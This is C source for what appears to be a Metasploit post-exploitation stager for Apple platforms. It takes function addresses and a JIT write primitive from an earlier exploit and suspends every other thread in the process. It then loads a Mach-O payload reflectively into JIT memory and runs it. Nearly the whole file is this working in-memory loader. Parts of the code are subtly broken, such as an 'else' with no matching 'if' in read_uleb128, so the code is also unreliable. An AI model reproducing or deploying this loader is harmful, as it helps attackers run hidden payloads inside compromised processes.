#include <stdio.h>

#include <dlfcn.h>

#include <mach/mach.h>

#include <mach-o/fat.h>
#include <mach-o/loader.h>
#include <sys/mman.h>
#include <mach/vm_map.h>

#include "magic.h"

/*#define DEBUG 1*/

//asl_log isn't working, so: idevicesyslog | grep SandboxViolation
#ifdef DEBUG
#define debug_print(fmt, ...) \
  do { \
    char* buffer = malloc_func(1024); \
    sprintf_func(buffer, fmt, __VA_ARGS__); \
    fopen_func(buffer, "w"); \
    free_func(buffer); \
  } while (0)
  //do { asl_log_func(0, 0, ASL_LEVEL_ERR, fmt, __VA_ARGS__); } while (0)
#else
#define debug_print(fmt, ...)
#endif

#define DLSYM_FUNC(func, library, return_type, args...) \
  typedef return_type (*func##_ptr)(args); \
  func##_ptr func##_func = dlsym_func(library, #func);

typedef void* (*t_dlsym)(void* handle, const char* symbol);
typedef void* (*t_dlopen)(const char* library, int rtld);
void load(void* buffer, t_dlsym _dlsym, void* jitwrite, void* jitstart, void* jitend);

void init(void* dlopen_addr, void* dlsym_addr, void* jitwrite_addr, uint64_t startOfFixMem, uint64_t endOfFixMem)
{
  typedef void* (*dlsym_ptr)(void *handle, const char *symbol);
  dlsym_ptr dlsym_func = dlsym_addr;
  typedef void* (*dlopen_ptr)(const char *filename, int flags);
  dlopen_ptr dlopen_func = dlopen_addr;

  void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);

  // Suspend threads
  typedef mach_port_t (*mach_task_self_ptr)();
  typedef thread_port_t (*mach_thread_self_ptr)();
  typedef kern_return_t (*thread_suspend_ptr)(thread_act_t target_thread);
  typedef kern_return_t (*task_threads_ptr)(task_t task, thread_act_array_t thread_list, mach_msg_type_number_t* thread_count);
  void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);
  mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");
  mach_thread_self_ptr mach_thread_self_func = dlsym_func(libIOKit, "mach_thread_self");
  thread_suspend_ptr thread_suspend_func = dlsym_func(libsystem, "thread_suspend");
  task_threads_ptr task_threads_func = dlsym_func(libsystem, "task_threads");
  thread_act_t current_thread = mach_thread_self_func();
  mach_msg_type_number_t thread_count;
  thread_act_array_t thread_list;
  kern_return_t result = task_threads_func(mach_task_self_func(), (thread_act_array_t)&thread_list, &thread_count);
  if (!result && thread_count) {
    for (unsigned int i = 0; i < thread_count; ++i) {
      thread_act_t other_thread = thread_list[i];
      if (other_thread != current_thread) {
        thread_suspend_func(other_thread);
      }
    }
  }

  uint64_t payloadBuffer = endOfFixMem - (0x100000 - 0x10000);

#ifdef DEBUG
  DLSYM_FUNC(malloc, libsystem, void*, size_t)
  DLSYM_FUNC(free, libsystem, void*)
  DLSYM_FUNC(sprintf, libsystem, int, char* str, const char * format, ... );
  DLSYM_FUNC(fopen, libsystem, FILE*, const char * filename, const char * mode );
  debug_print("%s", "hello from metasploit");
  debug_print("%s", "hello from metasploit");
  debug_print("%s", "hello from metasploit");
  debug_print("%s", "hello from metasploit");
  debug_print("%s", "hello from metasploit");

  debug_print("main:%p", (void*)init);
  debug_print("end:%p", (void*)endOfFixMem);
  debug_print("buffer:%p", (void*)payloadBuffer);
  debug_print("nbuffer:%p", (void*)*(uint64_t*)payloadBuffer);
  debug_print("start:%p", (void*)startOfFixMem);
#endif

  load((void*)payloadBuffer, (t_dlsym)dlsym_func, jitwrite_addr, (void*)startOfFixMem, (void*)endOfFixMem);
}

void fail(uint64_t x) {
    *(volatile int*)(0xbad000000000ull + x) = 0xdead;
}
#define ASSERT(x) if (!(x))fail(0xa00000000ull + __LINE__)

#define MIN(x,y) ((x)<(y)?(x):(y))
#define MAX(x,y) ((x)>(y)?(x):(y))

void performJITMemcpy(t_dlsym _dlsym, void* jitwrite, void* startOfFixMem, void* dst, void* src, size_t size)
{
    typedef void (*JITWriteSeparateHeapsFunction)(off_t, const void*, size_t);
    JITWriteSeparateHeapsFunction jitWriteSeparateHeapsFunction = jitwrite;
    ASSERT(jitWriteSeparateHeapsFunction);
    ASSERT(startOfFixMem);

    int (*_memcmp)(const void *, const void*, size_t) = _dlsym(RTLD_DEFAULT, "memcmp");

    off_t offset = (off_t)((uintptr_t)dst - (uintptr_t)startOfFixMem);
    jitWriteSeparateHeapsFunction(offset, src, size);

    ASSERT(!_memcmp(dst, src, size));
}

static inline uintptr_t read_uleb128(uint8_t** pp, uint8_t* end)
{
    uint8_t* p = *pp;
    uint64_t result = 0;
    int         bit = 0;
    do {
        ASSERT(p != end);
        uint64_t slice = *p & 0x7f;
        ASSERT(bit <= 63);
        else {
            result |= (slice << bit);
            bit += 7;
        }
    } while (*p++ & 0x80);

    *pp = p;
    return result;
}

static inline uintptr_t read_sleb128(uint8_t** pp, uint8_t* end)
{
    uint8_t* p = *pp;
    int64_t result = 0;
    int bit = 0;
    uint8_t byte;
    do {
        ASSERT(p != end);
        byte = *p++;
        result |= (((int64_t)(byte & 0x7f)) << bit);
        bit += 7;
    } while (byte & 0x80);
    // sign extend negative numbers
    if ( (byte & 0x40) != 0 )
        result |= (-1LL) << bit;
    *pp = p;
    return result;
}

// <3 qwerty
void rebase(struct dyld_info_command* dyld_info,
            uint8_t* map,
            uintptr_t* segstart,
            uintptr_t linkedit_base,
            uintptr_t reloc_slide) {
    uint8_t* start = map + dyld_info->rebase_off + linkedit_base;
    uint8_t* end = start + dyld_info->rebase_size;
    uintptr_t address = (uintptr_t)map;
    uintptr_t count = 0, skip = 0;
    char done = 0;
    uint8_t* p = start;
    while (!done && (p < end)) {
        uint8_t immediate = *p & REBASE_IMMEDIATE_MASK;
        uint8_t opcode = *p & REBASE_OPCODE_MASK;
        ++p;

        switch (opcode) {
            case REBASE_OPCODE_DONE:
                done = 1;
                break;
            case REBASE_OPCODE_SET_TYPE_IMM:
                ASSERT(immediate == REBASE_TYPE_POINTER);
                break;
            case REBASE_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
                address = (uintptr_t)(map + segstart[immediate] + read_uleb128(&p, end));
                break;
            case REBASE_OPCODE_ADD_ADDR_ULEB:
                address += read_uleb128(&p, end);
                break;
            case REBASE_OPCODE_ADD_ADDR_IMM_SCALED:
                address += immediate * sizeof(uintptr_t);
                break;
            case REBASE_OPCODE_DO_REBASE_IMM_TIMES:
                for (int i=0; i < immediate; ++i) {
                    *(uintptr_t*)(address) += reloc_slide;
                    address += sizeof(uintptr_t);
                }
                break;
            case REBASE_OPCODE_DO_REBASE_ULEB_TIMES:
                count = read_uleb128(&p, end);
                for (int i = 0; i < count; ++i) {
                    *(uintptr_t*)(address) += reloc_slide;
                    address += sizeof(uintptr_t);
                }
                break;
            case REBASE_OPCODE_DO_REBASE_ADD_ADDR_ULEB:
                *(uintptr_t*)(address) += reloc_slide;
                address += read_uleb128(&p, end) + sizeof(uintptr_t);

                break;
            case REBASE_OPCODE_DO_REBASE_ULEB_TIMES_SKIPPING_ULEB:
                count = read_uleb128(&p, end);
                skip = read_uleb128(&p, end);
                for (int i = 0; i < count; ++i) {
                    *(uintptr_t*)address += reloc_slide;
                    address += skip + sizeof(uintptr_t);
                }
                break;

            default:
                ASSERT(0);
                break;
        }
    }
}

void bindit(struct dyld_info_command* dyld_info,
            uint8_t* map,
            uintptr_t* segstart,
            uintptr_t linkedit_base,
            t_dlsym _dlsym) {
    uint8_t* start = map + dyld_info->bind_off + linkedit_base;
    uint8_t* end = start + dyld_info->bind_size;
    uintptr_t address = (uintptr_t)map;
    uintptr_t count = 0, skip = 0;
    char done = 0;
    unsigned char type = 0;
    uint8_t* p = start;
    char* symbolName=0;

    while (!done && (p < end)) {
        uint8_t immediate = *p & BIND_IMMEDIATE_MASK;
        uint8_t opcode = *p & BIND_OPCODE_MASK;
        ++p;
        switch (opcode) {
            case BIND_OPCODE_DONE:
                done = 1;
                break;
            case BIND_OPCODE_SET_DYLIB_ORDINAL_IMM:
                break;
            case BIND_OPCODE_SET_DYLIB_ORDINAL_ULEB:
                read_uleb128(&p, end);
                break;
            case BIND_OPCODE_SET_DYLIB_SPECIAL_IMM:
                break;
            case BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM:
                symbolName = (char*)p;
                while (*p != '\0')
                    ++p;
                ++p;
                break;
            case BIND_OPCODE_SET_TYPE_IMM:
                break;
            case BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
                address = (uintptr_t)(map + segstart[immediate] + read_uleb128(&p, end));
                break;
            case BIND_OPCODE_SET_ADDEND_SLEB:
                read_sleb128(&p, end);
                break;
            case BIND_OPCODE_ADD_ADDR_ULEB:
                address += read_uleb128(&p, end);
                break;
            case BIND_OPCODE_DO_BIND:
                *(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
                address += sizeof(uintptr_t);
                break;
            case BIND_OPCODE_DO_BIND_ADD_ADDR_ULEB:
                *(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
                address += read_uleb128(&p, end) + sizeof(uintptr_t);
                break;
            case BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED:
                *(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
                address += (immediate + 1) * sizeof(uintptr_t);
                break;
            case BIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB:
                count = read_uleb128(&p, end);
                skip = read_uleb128(&p, end);
                for (uint32_t i = 0; i < count; ++i) {
                    *(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
                    address += skip + sizeof(uintptr_t);
                }
                break;
            default:
                ASSERT(0);
        }
    }
}

void load(void* buffer, t_dlsym _dlsym, void* jitwrite, void* jitstart, void* jitend)
{
#   define FOR_COMMAND \
        lc = (void*)(header + 1); \
        for (int i = 0; i < header->ncmds; ++i, lc = (void*)((char*)lc + lc->cmdsize)) { \

#   define FOR_SEGMENT_64 \
        FOR_COMMAND \
            if (lc->cmd != LC_SEGMENT_64) \
                continue; \
            struct segment_command_64* sc = (void*)lc; \
            if (!_strcmp(sc->segname, "__PAGEZERO")) \
                continue;

    void* (*_mmap)(void *addr, size_t len, int prot, int flags, int fd, off_t offset);
    void* (*_memcpy)(void *restrict dst, const void *restrict src, size_t n);
    int (*_strcmp)(const char *s1, const char *s2);

    _mmap = _dlsym(RTLD_DEFAULT, "mmap");
    _memcpy = _dlsym(RTLD_DEFAULT, "memcpy");
    _strcmp = _dlsym(RTLD_DEFAULT, "strcmp");

    uintptr_t exec_base = -1, exec_end = 0,
             write_base = -1, write_end = 0,
             base = -1, end = 0;

    uint32_t* x = (uint32_t*)buffer;
    while (*x != 0xfeedfacf)
        x--;

    struct mach_header_64* header = (struct mach_header_64*)x;
    struct load_command* lc;
    uintptr_t linkedit_base = 0;
    uintptr_t segstart[32];
    int segcnt = 0;

    FOR_SEGMENT_64
        uintptr_t from = sc->vmaddr, to = from + sc->vmsize;
        segstart[segcnt++] = from;
        if (!_strcmp(sc->segname, "__LINKEDIT"))
            linkedit_base = sc->vmaddr - sc->fileoff;
        if (sc->initprot & VM_PROT_EXECUTE) {
            exec_base = MIN(exec_base, from);
            exec_end = MAX(exec_end, to);
        }
        if (sc->initprot & VM_PROT_WRITE) {
            write_base = MIN(write_base, from);
            write_end = MAX(write_end, to);
        }
        base = MIN(base, from);
        end = MAX(end, to);
    }

    uint8_t* tmpmap = _mmap(0, end - base, PROT_WRITE | PROT_READ,
            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    ASSERT(tmpmap);

    FOR_SEGMENT_64
        _memcpy(tmpmap + sc->vmaddr, (char*)header + sc->fileoff, sc->filesize);
    }

    ASSERT(write_base >= exec_end);
    void* rw = _mmap(jitend, end - write_base, PROT_READ|PROT_WRITE,
                    MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    ASSERT(rw == jitend);

    uint8_t* finalmap = jitend - write_base + base;

    uintptr_t reloc_slide = (uintptr_t)finalmap;

    FOR_COMMAND
        if (lc->cmd == LC_DYLD_INFO_ONLY || lc->cmd == LC_DYLD_INFO) {
            rebase((void*)lc, tmpmap, segstart, linkedit_base, reloc_slide);
            bindit((void*)lc, tmpmap, segstart, linkedit_base, _dlsym);
        }
    }

    if (jitwrite && jitstart) {
        performJITMemcpy(_dlsym, jitwrite, jitstart, finalmap, tmpmap, write_base - base);
    } else {
        _memcpy(finalmap, tmpmap, (write_base - base) - 1);
    }
    _memcpy(rw, tmpmap + write_base - base, end - write_base);

    void (*entrypoint)();
    FOR_SEGMENT_64
        uint64_t* x = (void*)(finalmap + sc->vmaddr);
        while ((char*)x != (char*)(finalmap + sc->vmaddr + sc->vmsize)) {
            if (*x == MAGIC) {
                entrypoint = (void*)*(x+1);
                goto found_entrypoint;
            }
            x++;
        }
    }

found_entrypoint:

    entrypoint();
}

int main()
{
  return 0;
}

